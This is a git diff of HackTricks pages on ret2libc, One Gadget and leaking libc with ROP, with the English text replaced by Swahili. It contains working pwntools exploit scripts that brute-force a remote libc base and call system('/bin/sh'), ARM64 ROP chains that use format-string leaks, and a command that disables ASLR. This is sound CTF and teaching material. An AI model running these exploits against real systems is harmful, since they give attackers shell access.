> Ikiwa badala ya `fgets` ingetumika kitu kama **`read`**, ingekuwa inawezekana kupita PIE pia kwa **kuandika tena tu byte 2 za mwisho za anwani ya kurudi** ili kurudi kwenye amri ya `br x0;` bila kuhitaji kujua anwani kamili.\
> Kwa `fgets` haiwezekani kwa sababu in **ongeza byte ya null (0x00) mwishoni**.
## Protections
## Ulinzi
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): If the stack isn't executable this won't help as we need to place the shellcode in the stack and jump to execute it.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Those can make harder to find a instruction to jump to esp or any other register.
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Ikiwa stack haiwezi kutekelezwa hii haitasaidia kwani tunahitaji kuweka shellcode kwenye stack na kuruka ili kuitekeleza.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Hizi zinaweza kufanya iwe vigumu kupata amri ya kuruka kwa esp au register nyingine yoyote.
## References
## Marejeleo
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)

View File

@ -2,94 +2,82 @@
{{#include ../../../banners/hacktricks-training.md}}
## **Basic Information**
## **Taarifa za Msingi**
The essence of **Ret2Libc** is to redirect the execution flow of a vulnerable program to a function within a shared library (e.g., **system**, **execve**, **strcpy**) instead of executing attacker-supplied shellcode on the stack. The attacker crafts a payload that modifies the return address on the stack to point to the desired library function, while also arranging for any necessary arguments to be correctly set up according to the calling convention.
Kiini cha **Ret2Libc** ni kuelekeza mtiririko wa utekelezaji wa programu iliyo hatarini kwa kazi ndani ya maktaba ya pamoja (e.g., **system**, **execve**, **strcpy**) badala ya kutekeleza shellcode iliyotolewa na mshambuliaji kwenye stack. Mshambuliaji anaunda payload inayobadilisha anwani ya kurudi kwenye stack ili kuelekeza kwenye kazi ya maktaba inayotakiwa, huku pia akipanga kwa usahihi hoja zozote zinazohitajika kulingana na kanuni ya wito.
### **Example Steps (simplified)**
### **Hatua za Mfano (rahisi)**
- Get the address of the function to call (e.g. system) and the command to call (e.g. /bin/sh)
- Generate a ROP chain to pass the first argument pointing to the command string and the execution flow to the function
- Pata anwani ya kazi ya kuita (e.g. system) na amri ya kuita (e.g. /bin/sh)
- Tengeneza mnyororo wa ROP ili kupitisha hoja ya kwanza ikielekeza kwenye mfuatano wa amri na mtiririko wa utekelezaji kwa kazi
## Finding the addresses
- Supposing that the `libc` used is the one from current machine you can find where it'll be loaded in memory with:
## Kutafuta anwani
- Ikiwa `libc` inayotumika ni ile kutoka kwa mashine ya sasa unaweza kupata ambapo itapakuliwa kwenye kumbukumbu kwa:
```bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
```
If you want to check if the ASLR is changing the address of libc you can do:
Ikiwa unataka kuangalia kama ASLR inabadilisha anwani ya libc unaweza kufanya:
```bash
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
```
- Knowing the libc used it's also possible to find the offset to the `system` function with:
- Kujua libc inayotumika pia inawezekana kupata offset ya kazi ya `system` kwa:
```bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
```
- Knowing the libc used it's also possible to find the offset to the string `/bin/sh` function with:
- Kujua libc inayotumika pia inawezekana kupata offset ya kazi ya string `/bin/sh` kwa:
```bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
```
### Kutumia gdb-peda / GEF
### Using gdb-peda / GEF
Knowing the libc used, It's also possible to use Peda or GEF to get address of **system** function, of **exit** function and of the string **`/bin/sh`** :
Kujua libc inayotumika, pia inawezekana kutumia Peda au GEF kupata anwani ya kazi ya **system**, ya kazi ya **exit** na ya mfuatano wa **`/bin/sh`** :
```bash
p system
p exit
find "/bin/sh"
```
### Kutumia /proc/\<PID>/maps
### Using /proc/\<PID>/maps
Ikiwa mchakato unaunda **watoto** kila wakati unapoizungumza nao (seva ya mtandao) jaribu **kusoma** faili hiyo (labda utahitaji kuwa root).
If the process is creating **children** every time you talk with it (network server) try to **read** that file (probably you will need to be root).
Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process.
Hapa unaweza kupata **mahali hasa ambapo libc imepakuliwa** ndani ya mchakato na **mahali itakapopakuliwa** kwa kila mtoto wa mchakato.
![](<../../../images/image (853).png>)
In this case it is loaded in **0xb75dc000** (This will be the base address of libc)
Katika kesi hii imepakuliwa katika **0xb75dc000** (Hii itakuwa anwani ya msingi ya libc)
## Unknown libc
It might be possible that you **don't know the libc the binary is loading** (because it might be located in a server where you don't have any access). In that case you could abuse the vulnerability to **leak some addresses and find which libc** library is being used:
Inaweza kuwa haiwezekani kwamba **hujui libc ambayo binary inapakua** (kwa sababu inaweza kuwa kwenye seva ambayo huna ufikiaji wowote). Katika kesi hiyo unaweza kutumia udhaifu huo ili **kuvuja anwani kadhaa na kupata ni ipi libc** maktaba inatumika:
{{#ref}}
rop-leaking-libc-address/
{{#endref}}
And you can find a pwntools template for this in:
Na unaweza kupata kiolezo cha pwntools kwa hili katika:
{{#ref}}
rop-leaking-libc-address/rop-leaking-libc-template.md
{{#endref}}
### Know libc with 2 offsets
### Kujua libc kwa ofseti 2
Check the page [https://libc.blukat.me/](https://libc.blukat.me/) and use a **couple of addresses** of functions inside the libc to find out the **version used**.
Angalia ukurasa [https://libc.blukat.me/](https://libc.blukat.me/) na tumia **anwani kadhaa** za kazi ndani ya libc ili kugundua **toleo lililotumika**.
## Bypassing ASLR in 32 bits
## Kupita ASLR katika bit 32
These brute-forcing attacks are **only useful for 32bit systems**.
- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
Mashambulizi haya ya nguvu ni **ya manufaa tu kwa mifumo ya 32bit**.
- Ikiwa exploit ni ya ndani, unaweza kujaribu nguvu za msingi wa anwani ya libc (ya manufaa kwa mifumo ya 32bit):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
- If attacking a remote server, you could try to **burte-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function.
- Ikiwa unashambulia seva ya mbali, unaweza kujaribu **kujaribu nguvu anwani ya kazi ya `libc` `usleep`**, ukipitia kama hoja 10 (kwa mfano). Ikiwa katika wakati fulani **seva inachukua sekunde 10 zaidi kujibu**, umepata anwani ya kazi hii.
## One Gadget
Execute a shell just jumping to **one** specific **address** in libc:
Tekeleza shell kwa kuruka tu kwenye **anwani** moja maalum katika libc:
{{#ref}}
one-gadget.md
@ -97,8 +85,7 @@ one-gadget.md
## x86 Ret2lib Code Example
In this example ASLR brute-force is integrated in the code and the vulnerable binary is loated in a remote server:
Katika mfano huu, ASLR brute-force imejumuishwa katika msimbo na binary iliyo hatarini iko kwenye seva ya mbali:
```python
from pwn import *
@ -106,18 +93,17 @@ c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
```
## x64 Ret2lib Code Example
Check the example from:
Angalia mfano kutoka:
{{#ref}}
../
@ -125,41 +111,41 @@ Check the example from:
## ARM64 Ret2lib Example
In the case of ARM64, the ret instruction jumps to whereber the x30 registry is pointing and not where the stack registry is pointing. So it's a bit more complicated.
Katika kesi ya ARM64, amri ya ret inaruka kwenye eneo ambalo usajili wa x30 unashikilia na si kwenye eneo ambalo usajili wa stack unashikilia. Hivyo ni ngumu kidogo.
Also in ARM64 an instruction does what the instruction does (it's not possible to jump in the middle of instructions and transform them in new ones).
Pia katika ARM64, amri inafanya kile ambacho amri inafanya (haiwezekani kuruka katikati ya amri na kuzibadilisha kuwa mpya).
Check the example from:
Angalia mfano kutoka:
{{#ref}}
ret2lib-+-printf-leak-arm64.md
{{#endref}}
## Ret-into-printf (or puts)
## Ret-into-printf (au puts)
This allows to **leak information from the process** by calling `printf`/`puts` with some specific data placed as an argument. For example putting the address of `puts` in the GOT into an execution of `puts` will **leak the address of `puts` in memory**.
Hii inaruhusu **kuvuja taarifa kutoka kwa mchakato** kwa kuita `printf`/`puts` na data maalum iliyowekwa kama hoja. Kwa mfano, kuweka anwani ya `puts` katika GOT ndani ya utekelezaji wa `puts` kutavuja **anwani ya `puts` katika kumbukumbu**.
## Ret2printf
This basically means abusing a **Ret2lib to transform it into a `printf` format strings vulnerability** by using the `ret2lib` to call printf with the values to exploit it (sounds useless but possible):
Hii kwa msingi inamaanisha kutumia **Ret2lib kubadilisha kuwa udhaifu wa mfuatano wa `printf`** kwa kutumia `ret2lib` kuita printf na thamani za ku exploit (inasikika kuwa haina maana lakini inawezekana):
{{#ref}}
../../format-strings/
{{#endref}}
## Other Examples & references
## Mifano Mingine & marejeleo
- [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
- Ret2lib, given a leak to the address of a function in libc, using one gadget
- Ret2lib, ikitoa uvujaji wa anwani ya kazi katika libc, kwa kutumia gadget moja
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
- 64 bit, ASLR imewezeshwa lakini hakuna PIE, hatua ya kwanza ni kujaza overflow hadi byte 0x00 ya canary ili kisha kuita puts na kuvuja. Kwa canary, gadget ya ROP inaundwa kuita puts kuvuja anwani ya puts kutoka GOT na gadget ya ROP kuita `system('/bin/sh')`
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.
- 64 bits, ASLR imewezeshwa, hakuna canary, overflow ya stack katika main kutoka kwa kazi ya mtoto. Gadget ya ROP kuita puts kuvuja anwani ya puts kutoka GOT na kisha kuita gadget moja.
- [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html)
- 64 bits, no pie, no canary, no relro, nx. Uses write function to leak the address of write (libc) and calls one gadget.
- 64 bits, hakuna pie, hakuna canary, hakuna relro, nx. Inatumia kazi ya andika kuvuja anwani ya andika (libc) na inaita gadget moja.
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
- Uses a format string to leak the canary from the stack and a buffer overflow to calle into system (it's in the GOT) with the address of `/bin/sh`.
- Inatumia mfuatano wa format kuvuja canary kutoka kwenye stack na overflow ya buffer kuingia katika system (iko katika GOT) na anwani ya `/bin/sh`.
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
- 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check).
- 32 bit, hakuna relro, hakuna canary, nx, pie. Tumia uorodheshaji mbaya kuvuja anwani za libc na heap kutoka kwenye stack. Tumia overflow ya buffer kufanya ret2lib ikitoa `system('/bin/sh')` (anwani ya heap inahitajika ili kupita ukaguzi).
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,34 +4,30 @@
## Basic Information
[**One Gadget**](https://github.com/david942j/one_gadget) allows to obtain a shell instead of using **system** and **"/bin/sh". One Gadget** will find inside the libc library some way to obtain a shell (`execve("/bin/sh")`) using just one **address**.\
However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.
[**One Gadget**](https://github.com/david942j/one_gadget) inaruhusu kupata shell badala ya kutumia **system** na **"/bin/sh". One Gadget** itapata ndani ya maktaba ya libc njia fulani ya kupata shell (`execve("/bin/sh")`) kwa kutumia tu **anwani** moja.\
Hata hivyo, kawaida kuna vizuizi fulani, zile za kawaida na rahisi kuepukwa ni kama `[rsp+0x30] == NULL` Kwa kuwa unadhibiti thamani ndani ya **RSP** unahitaji tu kutuma thamani zaidi za NULL ili kuepuka vizuizi hivyo.
![](<../../../images/image (754).png>)
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
To the address indicated by One Gadget you need to **add the base address where `libc`** is loaded.
Ili kufikia anwani iliyoonyeshwa na One Gadget unahitaji **kuongeza anwani ya msingi ambapo `libc`** imepakiwa.
> [!TIP]
> One Gadget is a **great help for Arbitrary Write 2 Exec techniques** and might **simplify ROP** **chains** as you only need to call one address (and fulfil the requirements).
> One Gadget ni **msaada mzuri kwa mbinu za Arbitrary Write 2 Exec** na inaweza **kurahisisha ROP** **mnyororo** kwani unahitaji tu kuita anwani moja (na kutimiza mahitaji).
### ARM64
The github repo mentions that **ARM64 is supported** by the tool, but when running it in the libc of a Kali 2023.3 **it doesn't find any gadget**.
Repo ya github inasema kwamba **ARM64 inasaidiwa** na chombo, lakini unapokimbia katika libc ya Kali 2023.3 **haipati gadget yoyote**.
## Angry Gadget
From the [**github repo**](https://github.com/ChrisTheCoolHut/angry_gadget): Inspired by [OneGadget](https://github.com/david942j/one_gadget) this tool is written in python and uses [angr](https://github.com/angr/angr) to test constraints for gadgets executing `execve('/bin/sh', NULL, NULL)`\
If you've run out gadgets to try from OneGadget, Angry Gadget gives a lot more with complicated constraints to try!
Kutoka kwenye [**github repo**](https://github.com/ChrisTheCoolHut/angry_gadget): Imehamasishwa na [OneGadget](https://github.com/david942j/one_gadget) chombo hiki kimeandikwa kwa python na kinatumia [angr](https://github.com/angr/angr) kujaribu vikwazo kwa gadgets zinazotekeleza `execve('/bin/sh', NULL, NULL)`\
Ikiwa umemaliza gadgets za kujaribu kutoka OneGadget, Angry Gadget inatoa mengi zaidi yenye vikwazo vigumu kujaribu!
```bash
pip install angry_gadget
angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,65 +2,58 @@
{{#include ../../../banners/hacktricks-training.md}}
## Ret2lib - NX bypass with ROP (no ASLR)
## Ret2lib - NX bypass na ROP (hakuna ASLR)
```c
#include <stdio.h>
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
printfleak();
bof();
}
```
Compile without canary:
Kusanya bila canary:
```bash
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
### Find offset
### Pata offset
### x30 offset
Creating a pattern with **`pattern create 200`**, using it, and checking for the offset with **`pattern search $x30`** we can see that the offset is **`108`** (0x6c).
Kuunda muundo na **`pattern create 200`**, kutumia hiyo, na kuangalia kwa offset na **`pattern search $x30`** tunaweza kuona kwamba offset ni **`108`** (0x6c).
<figure><img src="../../../images/image (1218).png" alt="" width="563"><figcaption></figcaption></figure>
Taking a look to the dissembled main function we can see that we would like to **jump** to the instruction to jump to **`printf`** directly, whose offset from where the binary is loaded is **`0x860`**:
Tukiangalia kwenye kazi kuu iliyotafsiriwa tunaweza kuona kwamba tungependa **kuruka** kwenye maagizo ya kuruka kwenye **`printf`** moja kwa moja, ambayo offset yake kutoka mahali ambapo binary imepakuliwa ni **`0x860`**:
<figure><img src="../../../images/image (1219).png" alt=""><figcaption></figcaption></figure>
### Find system and `/bin/sh` string
### Pata mfumo na mfuatano wa `/bin/sh`
As the ASLR is disabled, the addresses are going to be always the same:
Kwa kuwa ASLR imezimwa, anwani zitakuwa kila wakati sawa:
<figure><img src="../../../images/image (1222).png" alt=""><figcaption></figcaption></figure>
### Find Gadgets
### Pata Gadgets
We need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**.
Using rooper an interesting gadget was found:
Tunahitaji kuwa na katika **`x0`** anwani ya mfuatano **`/bin/sh`** na kuita **`system`**.
Kwa kutumia rooper gadget ya kuvutia ilipatikana:
```
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
```
This gadget will load `x0` from **`$sp + 0x18`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**.
Hii gadget itachukua `x0` kutoka **`$sp + 0x18`** na kisha itachukua anwani za x29 na x30 kutoka sp na kuruka kwa x30. Hivyo na gadget hii tunaweza **kudhibiti hoja ya kwanza na kisha kuruka kwa system**.
### Exploit
```python
from pwn import *
from time import sleep
@ -72,8 +65,8 @@ binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]
def expl_bof(payload):
p.recv()
p.sendline(payload)
p.recv()
p.sendline(payload)
# Ret2main
stack_offset = 108
@ -90,80 +83,72 @@ p.sendline(payload)
p.interactive()
p.close()
```
## Ret2lib - NX, ASL & PIE bypass with printf leaks from the stack
## Ret2lib - NX, ASL & PIE kupita na printf leaks kutoka kwenye stack
```c
#include <stdio.h>
void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
printfleak();
bof();
}
```
Compile **without canary**:
Kusanya **bila canary**:
```bash
clang -o rop rop.c -fno-stack-protector -Wno-format-security
```
### PIE na ASLR lakini hakuna canary
### PIE and ASLR but no canary
- Round 1:
- Leak of PIE from stack
- Abuse bof to go back to main
- Round 2:
- Leak of libc from the stack
- ROP: ret2system
- Mzunguko wa 1:
- Kuvuja kwa PIE kutoka kwenye stack
- Kutumia bof kurudi kwenye main
- Mzunguko wa 2:
- Kuvuja kwa libc kutoka kwenye stack
- ROP: ret2system
### Printf leaks
Setting a breakpoint before calling printf it's possible to see that there are addresses to return to the binary in the stack and also libc addresses:
Kuweka breakpoint kabla ya kuita printf inawezekana kuona kwamba kuna anwani za kurudi kwenye binary kwenye stack na pia anwani za libc:
<figure><img src="../../../images/image (1215).png" alt="" width="563"><figcaption></figcaption></figure>
Trying different offsets, the **`%21$p`** can leak a binary address (PIE bypass) and **`%25$p`** can leak a libc address:
Kujaribu offsets tofauti, **`%21$p`** inaweza kuvuja anwani ya binary (PIE bypass) na **`%25$p`** inaweza kuvuja anwani ya libc:
<figure><img src="../../../images/image (1223).png" alt="" width="440"><figcaption></figcaption></figure>
Subtracting the libc leaked address with the base address of libc, it's possible to see that the **offset** of the **leaked address from the base is `0x49c40`.**
Kupunguza anwani ya libc iliyovuja na anwani ya msingi ya libc, inawezekana kuona kwamba **offset** ya **anwani iliyovuja kutoka kwenye msingi ni `0x49c40`.**
### x30 offset
See the previous example as the bof is the same.
Tazama mfano wa awali kwani bof ni sawa.
### Find Gadgets
Like in the previous example, we need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**.
Using rooper another interesting gadget was found:
Kama katika mfano wa awali, tunahitaji kuwa na katika **`x0`** anwani ya string **`/bin/sh`** na kuita **`system`**.
Kwa kutumia rooper gadget nyingine ya kuvutia ilipatikana:
```
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
```
This gadget will load `x0` from **`$sp + 0x78`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**.
Hii gadget itachukua `x0` kutoka **`$sp + 0x78`** na kisha itachukua anwani za x29 na x30 kutoka sp na kuruka kwa x30. Hivyo na gadget hii tunaweza **kudhibiti hoja ya kwanza na kisha kuruka kwa system**.
### Exploit
```python
from pwn import *
from time import sleep
@ -172,15 +157,15 @@ p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)
def expl_bof(payload):
p.recv()
p.sendline(payload)
p.recv()
p.sendline(payload)
# Get main address
main_address = leak_printf(b"%21$p", True)
@ -213,5 +198,4 @@ p.sendline(payload)
p.interactive()
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,84 +1,77 @@
# Leaking libc address with ROP
# Kuonyesha anwani ya libc kwa kutumia ROP
{{#include ../../../../banners/hacktricks-training.md}}
## Quick Resume
## Muhtasari wa Haraka
1. **Find** overflow **offset**
2. **Find** `POP_RDI` gadget, `PUTS_PLT` and `MAIN` gadgets
3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me))
4. With the library, **calculate the ROP and exploit it**
1. **Pata** overflow **offset**
2. **Pata** gadget ya `POP_RDI`, gadget za `PUTS_PLT` na `MAIN`
3. Tumia gadget za awali ku **onyesha anwani ya kumbukumbu** ya puts au kazi nyingine ya libc na **pata toleo la libc** ([donwload it](https://libc.blukat.me))
4. Pamoja na maktaba, **hesabu ROP na uifanye**
## Other tutorials and binaries to practice
## Miongozo mingine na binaries za kufanya mazoezi
This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
Miongozo hii itatumia msimbo/binary uliopendekezwa katika miongozo hii: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
Miongozo mingine ya manufaa: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
## Code
## Msimbo
Filename: `vuln.c`
```c
#include <stdio.h>
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
return 0;
}
```
```bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie
```
## ROP - Kuonyesha LIBC template
## ROP - Leaking LIBC template
Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script:
Pakua exploit na uweke katika saraka moja na binary iliyo hatarini na upe data zinazohitajika kwa script:
{{#ref}}
rop-leaking-libc-template.md
{{#endref}}
## 1- Finding the offset
The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`):
## 1- Kutafuta offset
Template inahitaji offset kabla ya kuendelea na exploit. Ikiwa yoyote itatolewa itatekeleza msimbo unaohitajika kuipata (kwa default `OFFSET = ""`):
```bash
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
```
**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console:
**Tekeleza** `python template.py` itafungua GDB console na programu itakuwa imeanguka. Ndani ya **GDB console** tekeleza `x/wx $rsp` kupata **bytes** ambazo zilikuwa zinaenda kufunika RIP. Hatimaye pata **offset** ukitumia **python** console:
```python
from pwn import *
cyclic_find(0x6161616b)
```
![](<../../../../images/image (1007).png>)
After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.\
Baada ya kupata offset (katika kesi hii 40) badilisha variable ya OFFSET ndani ya template ukitumia thamani hiyo.\
`OFFSET = "A" * 40`
Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF.
Njia nyingine ingekuwa kutumia: `pattern create 1000` -- _tekeleza hadi ret_ -- `pattern seach $rsp` kutoka GEF.
## 2- Finding Gadgets
Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**.
## 2- Kupata Gadgets
Sasa tunahitaji kupata ROP gadgets ndani ya binary. Hizi ROP gadgets zitakuwa muhimu kuita `puts` ili kupata **libc** inayotumika, na baadaye **kuanzisha exploit ya mwisho**.
```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
@ -89,108 +82,98 @@ log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
```
The `PUTS_PLT` inahitajika kuita **function puts**.\
The `MAIN_PLT` inahitajika kuita **main function** tena baada ya mwingiliano mmoja ili **exploit** overflow **tena** (mizunguko isiyo na mwisho ya exploitation). **Inatumika mwishoni mwa kila ROP kuita programu tena**.\
The **POP_RDI** inahitajika **kupitisha** **parameter** kwa function iliyoitwa.
The `PUTS_PLT` is needed to call the **function puts**.\
The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** (infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\
The **POP_RDI** is needed to **pass** a **parameter** to the called function.
Katika hatua hii huwezi kutekeleza chochote kwani kila kitu kitapatikana na pwntools wakati wa utekelezaji.
In this step you don't need to execute anything as everything will be found by pwntools during the execution.
## 3- Finding libc library
Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address.
## 3- Kutafuta maktaba ya libc
Sasa ni wakati wa kutafuta ni toleo gani la **libc** maktaba linatumika. Ili kufanya hivyo tutakuwa na **leak** **anwani** katika kumbukumbu ya **function** `puts` na kisha tutatafuta ni **library version** gani ambayo toleo la puts liko katika anwani hiyo.
```python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
```
To do so, the most important line of the executed code is:
Ili kufanya hivyo, mstari muhimu zaidi wa msimbo uliofanywa ni:
```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
Hii itatuma baadhi ya bytes hadi **kuandika** **RIP** iwezekanavyo: `OFFSET`.\
